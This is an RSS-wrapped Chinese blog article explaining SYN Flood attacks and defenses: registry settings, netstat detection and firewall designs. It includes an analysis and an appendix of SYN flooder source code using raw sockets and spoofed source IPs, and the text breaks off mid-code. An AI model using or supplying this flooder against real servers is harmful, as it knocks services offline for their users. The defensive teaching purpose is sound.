﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>IT博客-forrest-文章分类-NET</title><link>http://www.cnitblog.com/forrest/category/3704.html</link><description>对过去我已无法选择，但令我稍感安慰的是我还拥有现在，所以。。。。。
更弥足珍贵</description><language>zh-cn</language><lastBuildDate>Thu, 29 Sep 2011 04:58:25 GMT</lastBuildDate><pubDate>Thu, 29 Sep 2011 04:58:25 GMT</pubDate><ttl>60</ttl><item><title>SYN Flood攻击的基本原理及防御 </title><link>http://www.cnitblog.com/forrest/articles/23014.html</link><dc:creator>forrest</dc:creator><author>forrest</author><pubDate>Tue, 13 Feb 2007 07:05:00 GMT</pubDate><guid>http://www.cnitblog.com/forrest/articles/23014.html</guid><wfw:comment>http://www.cnitblog.com/forrest/comments/23014.html</wfw:comment><comments>http://www.cnitblog.com/forrest/articles/23014.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/forrest/comments/commentRss/23014.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/forrest/services/trackbacks/23014.html</trackback:ping><description><![CDATA[第一部分 SYN Flood的基本原理 <br /><br /><br />SYN Flood是当前最流行的DoS（拒绝服务攻击）与DDoS（分布式拒绝服务攻击）的方式之一，这是一种利用TCP协议缺陷，发送大量伪造的TCP连接请求，从而使得被攻击方资源耗尽（CPU满负荷或内存不足）的攻击方式。 <br /><br /><br />要明白这种攻击的基本原理，还是要从TCP连接建立的过程开始说起： <br /><br />大家都知道，TCP与UDP不同，它是基于连接的，也就是说：为了在服务端和客户端之间传送TCP数据，必须先建立一个虚拟电路，也就是TCP连接，建立TCP连接的标准过程是这样的： <br /><br />首先，请求端（客户端）发送一个包含SYN标志的TCP报文，SYN即同步（Synchronize），同步报文会指明客户端使用的端口以及TCP连接的初始序号； <br /><br />第二步，服务器在收到客户端的SYN报文后，将返回一个SYN+ACK的报文，表示客户端的请求被接受，同时TCP序号被加一，ACK即确认（Acknowledgement）。 <br /><br />第三步，客户端也返回一个确认报文ACK给服务器端，同样TCP序列号被加一，到此一个TCP连接完成。 <br /><br />以上的连接过程在TCP协议中被称为三次握手（Three-way Handshake）。 <br /><br /><br />问题就出在TCP连接的三次握手中，假设一个用户向服务器发送了SYN报文后突然死机或掉线，那么服务器在发出SYN+ACK应答报文后是无法收到客户端的ACK报文的（第三次握手无法完成），这种情况下服务器端一般会重试（再次发送SYN+ACK给客户端）并等待一段时间后丢弃这个未完成的连接，这段时间的长度我们称为SYN Timeout，一般来说这个时间是分钟的数量级（大约为30秒-2分钟）；一个用户出现异常导致服务器的一个线程等待1分钟并不是什么很大的问题，但如果有一个恶意的攻击者大量模拟这种情况，服务器端将为了维护一个非常大的半连接列表而消耗非常多的资源----数以万计的半连接，即使是简单的保存并遍历也会消耗非常多的CPU时间和内存，何况还要不断对这个列表中的IP进行SYN+ACK的重试。实际上如果服务器的TCP/IP栈不够强大，最后的结果往往是堆栈溢出崩溃---即使服务器端的系统足够强大，服务器端也将忙于处理攻击者伪造的TCP连接请求而无暇理睬客户的正常请求（毕竟客户端的正常请求比率非常之小），此时从正常客户的角度看来，服务器失去响应，这种情况我们称作：服务器端受到了SYN Flood攻击（SYN洪水攻击）。 <br /><br /><br />从防御角度来说，有几种简单的解决方法，第一种是缩短SYN Timeout时间，由于SYN Flood攻击的效果取决于服务器上保持的SYN半连接数，这个值=SYN攻击的频度 x SYN Timeout，所以通过缩短从接收到SYN报文到确定这个报文无效并丢弃改连接的时间，例如设置为20秒以下（过低的SYN Timeout设置可能会影响客户的正常访问），可以成倍的降低服务器的负荷。 <br /><br />第二种方法是设置SYN Cookie，就是给每一个请求连接的IP地址分配一个Cookie，如果短时间内连续受到某个IP的重复SYN报文，就认定是受到了攻击，以后从这个IP地址来的包会被一概丢弃。 <br /><br />可是上述的两种方法只能对付比较原始的SYN Flood攻击，缩短SYN Timeout时间仅在对方攻击频度不高的情况下生效，SYN Cookie更依赖于对方使用真实的IP地址，如果攻击者以数万/秒的速度发送SYN报文，同时利用SOCK_RAW随机改写IP报文中的源地址，以上的方法将毫无用武之地。 <br /><br />第二部份 SYN Flooder源码解读 <br /><br /><br />下面我们来分析SYN Flooder的程序实现。 <br /><br />首先，我们来看一下TCP报文的格式： <br /><br /><br />0 1 2 3 4 5 6 <br /><br />0 2 4 6 8 0 2 4 6 8 0 2 4 6 8 0 2 4 6 8 0 2 4 6 8 0 2 4 6 8 0 2 4 <br /><br />+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ <br /><br />| ＩＰ首部 | ＴＣＰ首部 | ＴＣＰ数据段　　 | <br /><br />+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ <br /><br />图一 TCP报文结构 <br /><br /><br />如上图所示，一个TCP报文由三个部分构成：20字节的IP首部、20字节的TCP首部与不定长的数据段，（实际操作时可能会有可选的IP选项，这种情况下TCP首部向后顺延）由于我们只是发送一个SYN信号，并不传递任何数据，所以TCP数据段为空。TCP首部的数据结构为： <br /><br />0 1 2 3 <br /><br />0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 <br /><br />+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ <br /><br />| 十六位源端口号 | 十六位目标端口号 | <br /><br />+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ <br /><br />| 三十二位序列号 | <br /><br />+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ <br /><br />| 三十二位确认号 | <br /><br />+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ <br /><br />| 四位 | |U|A|P|R|S|F| | <br /><br />| 首部 |六位保留位 |R|C|S|S|Y|I| 十六位窗口大小 | <br /><br />| 长度 | |G|K|H|T|N|N| | <br /><br />+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ <br /><br />| 十六位校验和 | 十六位紧急指针 | <br /><br />+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ <br /><br />| 选项（若有） | <br /><br />+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ <br /><br />| 数据（若有） | <br /><br />+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ <br /><br />图二 TCP首部结构 <br /><br /><br />根据TCP报文格式，我们定义一个结构TCP_HEADER用来存放TCP首部： <br /><br />typedef struct _tcphdr <br /><br />{ <br /><br />USHORT th_sport; //16位源端口 <br /><br />USHORT th_dport; //16位目的端口 <br /><br />unsigned int th_seq; //32位序列号 <br /><br />unsigned int th_ack; //32位确认号 <br /><br />unsigned char th_lenres; //4位首部长度+6位保留字中的4位 <br /><br />unsigned char th_flag; //2位保留字+6位标志位 <br /><br />USHORT th_win; //16位窗口大小 <br /><br />USHORT th_sum; //16位校验和 <br /><br />USHORT th_urp; //16位紧急数据偏移量 <br /><br />}TCP_HEADER; <br /><br />通过以正确的数据填充这个结构并将TCP_HEADER.th_flag赋值为2（二进制的00000010）我们能制造一个SYN的TCP报文，通过大量发送这个报文可以实现SYN Flood的效果。但是为了进行IP欺骗从而隐藏自己，也为了躲避服务器的SYN Cookie检查，还需要直接对IP首部进行操作： <br /><br />0 1 2 3 <br /><br />0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 <br /><br />+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ <br /><br />| 版本 | 长度 | 八位服务类型 | 十六位总长度 | <br /><br />+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ <br /><br />| 十六位标识 | 标志| 十三位片偏移　　 | <br /><br />+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ <br /><br />| 八位生存时间 | 八位协议 | 十六位首部校验和 | <br /><br />+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ <br /><br />| 三十二位源ＩＰ地址 　　| <br /><br />+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ <br /><br />| 三十二位目的ＩＰ地址 | <br /><br />+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ <br /><br />| 选项（若有） | <br /><br />+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ <br /><br />| 　　数据　　 | <br /><br />+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ <br /><br />图三 IP首部结构 <br /><br />同样定义一个IP_HEADER来存放IP首部 <br /><br />typedef struct _iphdr <br /><br />{ <br /><br />unsigned char h_verlen; //4位首部长度+4位IP版本号 <br /><br />unsigned char tos; //8位服务类型TOS <br /><br />unsigned short total_len; //16位总长度（字节） <br /><br />unsigned short ident; //16位标识 <br /><br />unsigned short frag_and_flags; //3位标志位 <br /><br />unsigned char ttl; //8位生存时间 TTL <br /><br />unsigned char proto; //8位协议号(TCP, UDP 或其他) <br /><br />unsigned short checksum; //16位IP首部校验和 <br /><br />unsigned int sourceIP; //32位源IP地址 <br /><br />unsigned int destIP; //32位目的IP地址 <br /><br />}IP_HEADER; <br /><br />然后通过SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED)); <br /><br />建立一个原始套接口，由于我们的IP源地址是伪造的，所以不能指望系统帮我们计算IP校验和，我们得在在setsockopt中设置IP_HDRINCL告诉系统自己填充IP首部并自己计算校验和： <br /><br />flag=TRUE; <br /><br />setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&amp;flag,sizeof(int)); <br /><br />IP校验和的计算方法是：首先将IP首部的校验和字段设为0（IP_HEADER.checksum=0）,然后计算整个IP首部（包括选项）的二进制反码的和，一个标准的校验和函数如下所示： <br /><br />USHORT checksum(USHORT *buffer, int size) <br /><br />{ <br /><br />unsigned long cksum=0; <br /><br />while(size &gt;1) { <br /><br />cksum+=*buffer++; <br /><br />size -=sizeof(USHORT); <br /><br />} <br /><br />if(size ) cksum += *(UCHAR*)buffer; <br /><br />cksum = (cksum &gt;&gt; 16) + (cksum &amp; 0xffff); <br /><br />cksum += (cksum &gt;&gt;16); <br /><br />return (USHORT)(~cksum); <br /><br />} <br /><br />这个函数并没有经过任何的优化，由于校验和函数是TCP/IP协议中被调用最多函数之一，所以一般说来，在实现TCP/IP栈时，会根据操作系统对校验和函数进行优化。 <br /><br />TCP首部检验和与IP首部校验和的计算方法相同，在程序中使用同一个函数来计算。 <br /><br />需要注意的是，由于TCP首部中不包含源地址与目标地址等信息，为了保证TCP校验的有效性，在进行TCP校验和的计算时，需要增加一个TCP伪首部的校验和，定义如下： <br /><br />struct <br /><br />{ <br /><br />unsigned long saddr; //源地址 <br /><br />unsigned long daddr; //目的地址 <br /><br />char mbz; //置空 <br /><br />char ptcl; //协议类型 <br /><br />unsigned short tcpl; //TCP长度 <br /><br />}psd_header; <br /><br />然后我们将这两个字段复制到同一个缓冲区SendBuf中并计算TCP校验和： <br /><br />memcpy(SendBuf,&amp;psd_header,sizeof(psd_header)); <br /><br />memcpy(SendBuf+sizeof(psd_header),&amp;tcp_header,sizeof(tcp_header)); <br /><br />tcp_header.th_sum=checksum((USHORT *)SendBuf,sizeof(psd_header)+sizeof(tcp_header)); <br /><br />计算IP校验和的时候不需要包括TCP伪首部： <br /><br />memcpy(SendBuf,&amp;ip_header,sizeof(ip_header)); <br /><br />memcpy(SendBuf+sizeof(ip_header),&amp;tcp_header,sizeof(tcp_header)); <br /><br />ip_header.checksum=checksum((USHORT *)SendBuf, sizeof(ip_header)+sizeof(tcp_header)); <br /><br />再将计算过校验和的IP首部与TCP首部复制到同一个缓冲区中就可以直接发送了： <br /><br />memcpy(SendBuf,&amp;ip_header,sizeof(ip_header)); <br /><br />sendto(SockRaw,SendBuf,datasize,0,(struct sockaddr*) &amp;DestAddr,sizeof(DestAddr)); <br /><br /><br />因为整个TCP报文中的所有部分都是我们自己写入的（操作系统不会做任何干涉），所以我们可以在IP首部中放置随机的源IP地址，如果伪造的源IP地址确实有人使用，他在接收到服务器的SYN+ACK报文后会发送一个RST报文（标志位为00000100），通知服务器端不需要等待一个无效的连接，可是如果这个伪造IP并没有绑定在任何的主机上，不会有任何设备去通知主机该连接是无效的（这正是TCP协议的缺陷），主机将不断重试直到SYN Timeout时间后才能丢弃这个无效的半连接。所以当攻击者使用主机分布很稀疏的IP地址段进行伪装IP的SYN Flood攻击时，服务器主机承受的负荷会相当的高，根据测试，一台PIII 550MHz+128MB+100Mbps的机器使用经过初步优化的SYN Flooder程序可以以16,000包/秒的速度发送TCP SYN报文，这样的攻击力已经足以拖垮大部分WEB服务器了。 <br /><br />稍微动动脑筋我们就会发现，想对SYN Flooder程序进行优化是很简单的，从程序构架来看，攻击时循环内的代码主要是进行校验和计算与缓冲区的填充，一般的思路是提高校验和计算的速度，我甚至见过用汇编代码编写的校验和函数，实际上，有另外一个变通的方法可以轻松实现优化而又不需要高深的编程技巧和数学知识，（老实说吧，我数学比较差:P），我们仔细研究了两个不同源地址的TCP SYN报文后发现，两个报文的大部分字段相同（比如目的地址、协议等等），只有源地址和校验和不同（如果为了隐蔽，源端口也可以有变化，但是并不影响我们算法优化的思路），如果我们事先计算好大量的源地址与校验和的对应关系表（如果其他的字段有变化也可以加入这个表），等计算完毕了攻击程序就只需要单纯的组合缓冲区并发送（用指针来直接操作缓冲区的特定位置，从事先计算好的对应关系表中读出数据，替换缓冲区相应字段），这种简单的工作完全取决于系统发送IP包的速度，与程序的效率没有任何关系，这样，即使是CPU主频较低的主机也能快速的发送大量TCP SYN攻击包。如果考虑到缓冲区拼接的时间，甚至可以定义一个很大的缓冲区数组，填充完毕后再发送（雏鹰给这种方法想了一个很贴切的比喻：火箭炮装弹虽然很慢，但是一旦炮弹上膛了以后就可以连续猛烈地发射了:）。 <br /><br /><br /><br /><br /><br /><br />第三部分 SYN Flood攻击的监测与防御初探 <br /><br />对于SYN Flood攻击，目前尚没有很好的监测和防御方法，不过如果系统管理员熟悉攻击方法和系统架构，通过一系列的设定，也能从一定程度上降低被攻击系统的负荷，减轻负面的影响。（这正是我撰写本文的主要目的） <br /><br />一般来说，如果一个系统（或主机）负荷突然升高甚至失去响应，使用Netstat 命令能看到大量SYN_RCVD的半连接（数量&gt;500或占总连接数的10%以上），可以认定，这个系统（或主机）遭到了SYN Flood攻击。 <br /><br />遭到SYN Flood攻击后，首先要做的是取证，通过Netstat –n –p tcp &gt;resault.txt记录目前所有TCP连接状态是必要的，如果有嗅探器，或者TcpDump之类的工具，记录TCP SYN报文的所有细节也有助于以后追查和防御，需要记录的字段有：源地址、IP首部中的标识、TCP首部中的序列号、TTL值等，这些信息虽然很可能是攻击者伪造的，但是用来分析攻击者的心理状态和攻击程序也不无帮助。特别是TTL值，如果大量的攻击包似乎来自不同的IP但是TTL值却相同，我们往往能推断出攻击者与我们之间的路由器距离，至少也可以通过过滤特定TTL值的报文降低被攻击系统的负荷（在这种情况下TTL值与攻击报文不同的用户就可以恢复正常访问） <br /><br />前面曾经提到可以通过缩短SYN Timeout时间和设置SYN Cookie来进行SYN攻击保护，对于Win2000系统，还可以通过修改注册表降低SYN Flood的危害，在注册表中作如下改动： <br /><br />首先，打开regedit，找到HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Tcpip\Parameters <br /><br />增加一个SynAttackProtect的键值，类型为REG_DWORD，取值范围是0-2，这个值决定了系统受到SYN攻击时采取的保护措施，包括减少系统SYN+ACK的重试的次数等，默认值是0（没有任何保护措施），推荐设置是2； <br /><br />增加一个TcpMaxHalfOpen的键值，类型为REG_DWORD，取值范围是100-0xFFFF，这个值是系统允许同时打开的半连接，默认情况下WIN2K PRO和SERVER是100，ADVANCED SERVER是500，这个值很难确定，取决于服务器TCP负荷的状况和可能受到的攻击强度，具体的值需要经过试验才能决定。 <br /><br />增加一个TcpMaxHalfOpenRetried的键值，类型为REG_DWORD，取值范围是80-0xFFFF，默认情况下WIN2K PRO和SERVER是80，ADVANCED SERVER是400，这个值决定了在什么情况下系统会打开SYN攻击保护。 <br /><br /><br />我们来分析一下Win2000的SYN攻击保护机制：正常情况下，Win2K对TCP连接的三次握手有一个常规的设置，包括SYN Timeout时间、SYN-ACK的重试次数和SYN报文从路由器到系统再到Winsock的延时等，这个常规设置是针对系统性能进行优化的（安全和性能往往相互矛盾）所以可以给用户提供方便快捷的服务；一旦服务器受到攻击，SYN半连接的数量超过TcpMaxHalfOpenRetried的设置，系统会认为自己受到了SYN Flood攻击，此时设置在SynAttackProtect键值中的选项开始作用，SYN Timeout时间被减短，SYN-ACK的重试次数减少，系统也会自动对缓冲区中的报文进行延时，避免对TCP/IP堆栈造成过大的冲击，力图将攻击危害减到最低；如果攻击强度不断增大，超过了TcpMaxHalfOpen值，此时系统已经不能提供正常的服务了，更重要的是保证系统不会崩溃，所以系统将会丢弃任何超出TcpMaxHalfOpen值范围的SYN报文（应该是使用随机丢包策略），保证系统的稳定性。 <br /><br />所以，对于需要进行SYN攻击保护的系统，我们可以测试/预测一下访问峰值时期的半连接打开量，以其作为参考设定TcpMaxHalfOpenRetried的值（保留一定的余量），然后再以TcpMaxHalfOpenRetried的1.25倍作为TcpMaxHalfOpen值，这样可以最大限度地发挥WIN2K自身的SYN攻击保护机制。 <br /><br />通过设置注册表防御SYN Flood攻击，采用的是“挨打”的策略，无论系统如何强大，始终不能光靠挨打支撑下去，除了挨打之外，“退让”也是一种比较有效的方法。 <br /><br />退让策略是基于SYN Flood攻击代码的一个缺陷，我们重新来分析一下SYN Flood攻击者的流程：SYN Flood程序有两种攻击方式，基于IP的和基于域名的，前者是攻击者自己进行域名解析并将IP地址传递给攻击程序，后者是攻击程序自动进行域名解析，但是它们有一点是相同的，就是一旦攻击开始，将不会再进行域名解析，我们的切入点正是这里：假设一台服务器在受到SYN Flood攻击后迅速更换自己的IP地址，那么攻击者仍在不断攻击的只是一个空的IP地址，并没有任何主机，而防御方只要将DNS解析更改到新的IP地址就能在很短的时间内（取决于DNS的刷新时间）恢复用户通过域名进行的正常访问。为了迷惑攻击者，我们甚至可以放置一台“牺牲”服务器让攻击者满足于攻击的“效果”（由于DNS缓冲的原因，只要攻击者的浏览器不重起，他访问的仍然是原先的IP地址）。 <br /><br />同样的原因，在众多的负载均衡架构中，基于DNS解析的负载均衡本身就拥有对SYN Flood的免疫力，基于DNS解析的负载均衡能将用户的请求分配到不同IP的服务器主机上，攻击者攻击的永远只是其中一台服务器，虽然说攻击者也能不断去进行DNS请求从而打破这种“退让”策略，但是一来这样增加了攻击者的成本，二来过多的DNS请求可以帮助我们追查攻击者的真正踪迹（DNS请求不同于SYN攻击，是需要返回数据的，所以很难进行IP伪装）。 <br /><br /><br />对于防火墙来说，防御SYN Flood攻击的方法取决于防火墙工作的基本原理，一般说来，防火墙可以工作在TCP层之上或IP层之下，工作在TCP层之上的防火墙称为网关型防火墙，网关型防火墙与服务器、客户机之间的关系如下图所示： <br /><br /><br />外部TCP连接 内部TCP连接 <br /><br />[客户机] =================&gt;[防火墙] =================&gt;[服务器] <br /><br /><br />如上图所示，客户机与服务器之间并没有真正的TCP连接，客户机与服务器之间的所有数据交换都是通过防火墙代理的，外部的DNS解析也同样指向防火墙，所以如果网站被攻击，真正受到攻击的是防火墙，这种防火墙的优点是稳定性好，抗打击能力强，但是因为所有的TCP报文都需要经过防火墙转发，所以效率比较低由于客户机并不直接与服务器建立连接，在TCP连接没有完成时防火墙不会去向后台的服务器建立新的TCP连接，所以攻击者无法越过防火墙直接攻击后台服务器，只要防火墙本身做的足够强壮，这种架构可以抵抗相当强度的SYN Flood攻击。但是由于防火墙实际建立的TCP连接数为用户连接数的两倍（防火墙两端都需要建立TCP连接），同时又代理了所有的来自客户端的TCP请求和数据传送，在系统访问量较大时，防火墙自身的负荷会比较高，所以这种架构并不能适用于大型网站。（我感觉，对于这样的防火墙架构，使用TCP_STATE攻击估计会相当有效:） <br /><br />工作在IP层或IP层之下的防火墙（路由型防火墙）工作原理有所不同，它与服务器、客户机的关系如下图所示： <br /><br />[防火墙] 数据包修改转发 <br /><br />[客户机]========|=======================&gt;[服务器] <br /><br />TCP连接 <br /><br /><br />客户机直接与服务器进行TCP连接，防火墙起的是路由器的作用，它截获所有通过的包并进行过滤，通过过滤的包被转发给服务器，外部的DNS解析也直接指向服务器，这种防火墙的优点是效率高，可以适应100Mbps-1Gbps的流量，但是这种防火墙如果配置不当，不仅可以让攻击者越过防火墙直接攻击内部服务器，甚至有可能放大攻击的强度，导致整个系统崩溃。 <br /><br />在这两种基本模型之外，有一种新的防火墙模型，我个人认为还是比较巧妙的，它集中了两种防火墙的优势，这种防火墙的工作原理如下所示： <br /><br />第一阶段，客户机请求与防火墙建立连接： <br /><br />SYN SYN+ACK ACK <br /><br />[客户机]---- &gt;[防火墙] =&gt; [防火墙]-------- &gt;[客户机] =&gt; [客户机]--- &gt;[防火墙] <br /><br /><br />第二阶段，防火墙伪装成客户机与后台的服务器建立连接 <br /><br />[防火墙]&lt; =========== &gt;[服务器] <br /><br />TCP连接 <br /><br /><br />第三阶段，之后所有从客户机来的TCP报文防火墙都直接转发给后台的服务器 <br /><br />防火墙转发 <br /><br />[客户机]&lt; ======|======= &gt;[服务器] <br /><br />TCP连接 <br /><br />这种结构吸取了上两种防火墙的优点，既能完全控制所有的SYN报文，又不需要对所有的TCP数据报文进行代理，是一种两全其美的方法。 <br /><br />近来，国外和国内的一些防火墙厂商开始研究带宽控制技术，如果能真正做到严格控制、分配带宽，就能很大程度上防御绝大多数的拒绝服务攻击，我们还是拭目以待吧。 <br /><br /><br />附录：Win2000下的SYN Flood程序 <br /><br />改编自Linux下Zakath编写的SYN Flooder <br /><br />编译环境：VC++6.0,编译时需要包含ws2_32.lib <br /><br />////////////////////////////////////////////////////////////////////////// <br /><br />// // <br /><br />// SYN Flooder For Win2K by Shotgun // <br /><br />// // <br /><br />// THIS PROGRAM IS MODIFIED FROM A LINUX VERSION BY Zakath // <br /><br />// THANX Lion Hook FOR PROGRAM OPTIMIZATION // <br /><br />// // <br /><br />// Released: [2001.4] // <br /><br />// Author: [Shotgun] // <br /><br />// Homepage: // <br /><br />// http://IT.Xici.Net] // <br /><br />// http://WWW.Patching.Net] // <br /><br />// // <br /><br />////////////////////////////////////////////////////////////////////////// <br /><br />#include &lt;winsock2.h&gt; <br /><br />#include &lt;Ws2tcpip.h&gt; <br /><br />#include &lt;stdio.h&gt; <br /><br />#include &lt;stdlib.h&gt; <br /><br />#define SEQ 0x28376839 <br /><br />#define SYN_DEST_IP "192.168.15.250"//被攻击的IP <br /><br />#define FAKE_IP "10.168.150.1" //伪装IP的起始值，本程序的伪装IP覆盖一个B类网段 <br /><br />#define STATUS_FAILED 0xFFFF //错误返回值 <br /><br /><br />typedef struct _iphdr //定义IP首部 <br /><br />{ <br /><br />unsigned char h_verlen; //4位首部长度,4位IP版本号 <br /><br />unsigned char tos; //8位服务类型TOS <br /><br />unsigned short total_len; //16位总长度（字节） <br /><br />unsigned short ident; //16位标识 <br /><br />unsigned short frag_and_flags; //3位标志位 <br /><br />unsigned char ttl; //8位生存时间 TTL <br /><br />unsigned char proto; //8位协议 (TCP, UDP 或其他) <br /><br />unsigned short checksum; //16位IP首部校验和 <br /><br />unsigned int sourceIP; //32位源IP地址 <br /><br />unsigned int destIP; //32位目的IP地址 <br /><br />}IP_HEADER; <br /><br /><br />struct //定义TCP伪首部 <br /><br />{ <br /><br />unsigned long saddr; //源地址 <br /><br />unsigned long daddr; //目的地址 <br /><br />char mbz; <br /><br />char ptcl; //协议类型 <br /><br />unsigned short tcpl; //TCP长度 <br /><br />}psd_header; <br /><br /><br />typedef struct _tcphdr //定义TCP首部 <br /><br />{ <br /><br />USHORT th_sport; //16位源端口 <br /><br />USHORT th_dport; //16位目的端口 <br /><br />unsigned int th_seq; //32位序列号 <br /><br />unsigned int th_ack; //32位确认号 <br /><br />unsigned char th_lenres; //4位首部长度/6位保留字 <br /><br />unsigned char th_flag; //6位标志位 <br /><br />USHORT th_win; //16位窗口大小 <br /><br />USHORT th_sum; //16位校验和 <br /><br />USHORT th_urp; //16位紧急数据偏移量 <br /><br />}TCP_HEADER; <br /><br /><br />//CheckSum:计算校验和的子函数 <br /><br />USHORT checksum(USHORT *buffer, int size) <br /><br />{ <br /><br />unsigned long cksum=0; <br /><br />while(size &gt;1) { <br /><br />cksum+=*buffer++; <br /><br />size -=sizeof(USHORT); <br /><br />} <br /><br />if(size ) { <br /><br />cksum += *(UCHAR*)buffer; <br /><br />} <br /><br />cksum = (cksum &gt;&gt; 16) + (cksum &amp; 0xffff); <br /><br />cksum += (cksum &gt;&gt;16); <br /><br />return (USHORT)(~cksum); <br /><br />} <br /><br /><br />// SynFlood主函数 <br /><br />int main() <br /><br />{ <br /><br />int datasize,ErrorCode,counter,flag,FakeIpNet,FakeIpHost; <br /><br />int TimeOut=2000,SendSEQ=0; <br /><br />char SendBuf[128]={0}; <br /><br />char RecvBuf[65535]={0}; <br /><br />WSADATA wsaData; <br /><br />SOCKET SockRaw=(SOCKET)NULL; <br /><br />struct sockaddr_in DestAddr; <br /><br />IP_HEADER ip_header; <br /><br />TCP_HEADER tcp_header; <br /><br />//初始化SOCK_RAW <br /><br />if((ErrorCode=WSAStartup(MAKEWORD(2,1),&amp;wsaData))!=0){ <br /><br />fprintf(stderr,"WSAStartup failed: %d\n",ErrorCode); <br /><br />ExitProcess(STATUS_FAILED); <br /><br />} <br /><br />SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED)); <br /><br />if (SockRaw==INVALID_SOCKET){ <br /><br />fprintf(stderr,"WSASocket() failed: %d\n",WSAGetLastError()); <br /><br />ExitProcess(STATUS_FAILED); <br /><br />} <br /><br />flag=TRUE; <br /><br />//设置IP_HDRINCL以自己填充IP首部 <br /><br />ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&amp;flag,sizeof(int)); <br /><br />If (ErrorCode==SOCKET_ERROR) printf("Set IP_HDRINCL Error!\n"); <br /><br />__try{ <br /><br />//设置发送超时 <br /><br />ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&amp;TimeOut,sizeof(TimeOut)); <br /><br />if(ErrorCode==SOCKET_ERROR){ <br /><br />fprintf(stderr,"Failed to set send TimeOut: %d\n",WSAGetLastError()); <br /><br />__leave; <br /><br />} <br /><br />memset(&amp;DestAddr,0,sizeof(DestAddr)); <br /><br />DestAddr.sin_family=AF_INET; <br /><br />DestAddr.sin_addr.s_addr=inet_addr(SYN_DEST_IP); <br /><br />FakeIpNet=inet_addr(FAKE_IP); <br /><br />FakeIpHost=ntohl(FakeIpNet); <br /><br />//填充IP首部 <br /><br />ip_header.h_verlen=(4&lt;&lt;4 | sizeof(ip_header)/sizeof(unsigned long)); <br /><br />//高四位IP版本号，低四位首部长度 <br /><br />ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)); //16位总长度（字节） <br /><br />ip_header.ident=1; //16位标识 <br /><br />ip_header.frag_and_flags=0; //3位标志位 <br /><br />ip_header.ttl=128; //8位生存时间TTL <br /><br />ip_header.proto=IPPROTO_TCP; //8位协议(TCP,UDP…) <br /><br />ip_header.checksum=0; //16位IP首部校验和 <br /><br />ip_header.sourceIP=htonl(FakeIpHost+SendSEQ); //32位源IP地址 <br /><br />ip_header.destIP=inet_addr(SYN_DEST_IP); //32位目的IP地址 <br /><br />//填充TCP首部 <br /><br />tcp_header.th_sport=htons(7000); //源端口号 <br /><br />tcp_header.th_dport=htons(8080); //目的端口号 <br /><br />tcp_header.th_seq=htonl(SEQ+SendSEQ); //SYN序列号 <br /><br />tcp_header.th_ack=0; //ACK序列号置为0 <br /><br />tcp_header.th_lenres=(sizeof(TCP_HEADER)/4&lt;&lt;4|0); //TCP长度和保留位 <br /><br />tcp_header.th_flag=2; //SYN 标志 <br /><br />tcp_header.th_win=htons(16384); //窗口大小 <br /><br />tcp_header.th_urp=0; //偏移 <br /><br />tcp_header.th_sum=0; //校验和 <br /><br />//填充TCP伪首部（用于计算校验和，并不真正发送） <br /><br />psd_header.saddr=ip_header.sourceIP; //源地址 <br /><br />psd_header.daddr=ip_header.destIP; //目的地址 <br /><br />psd_header.mbz=0; <br /><br />psd_header.ptcl=IPPROTO_TCP; //协议类型 <br /><br 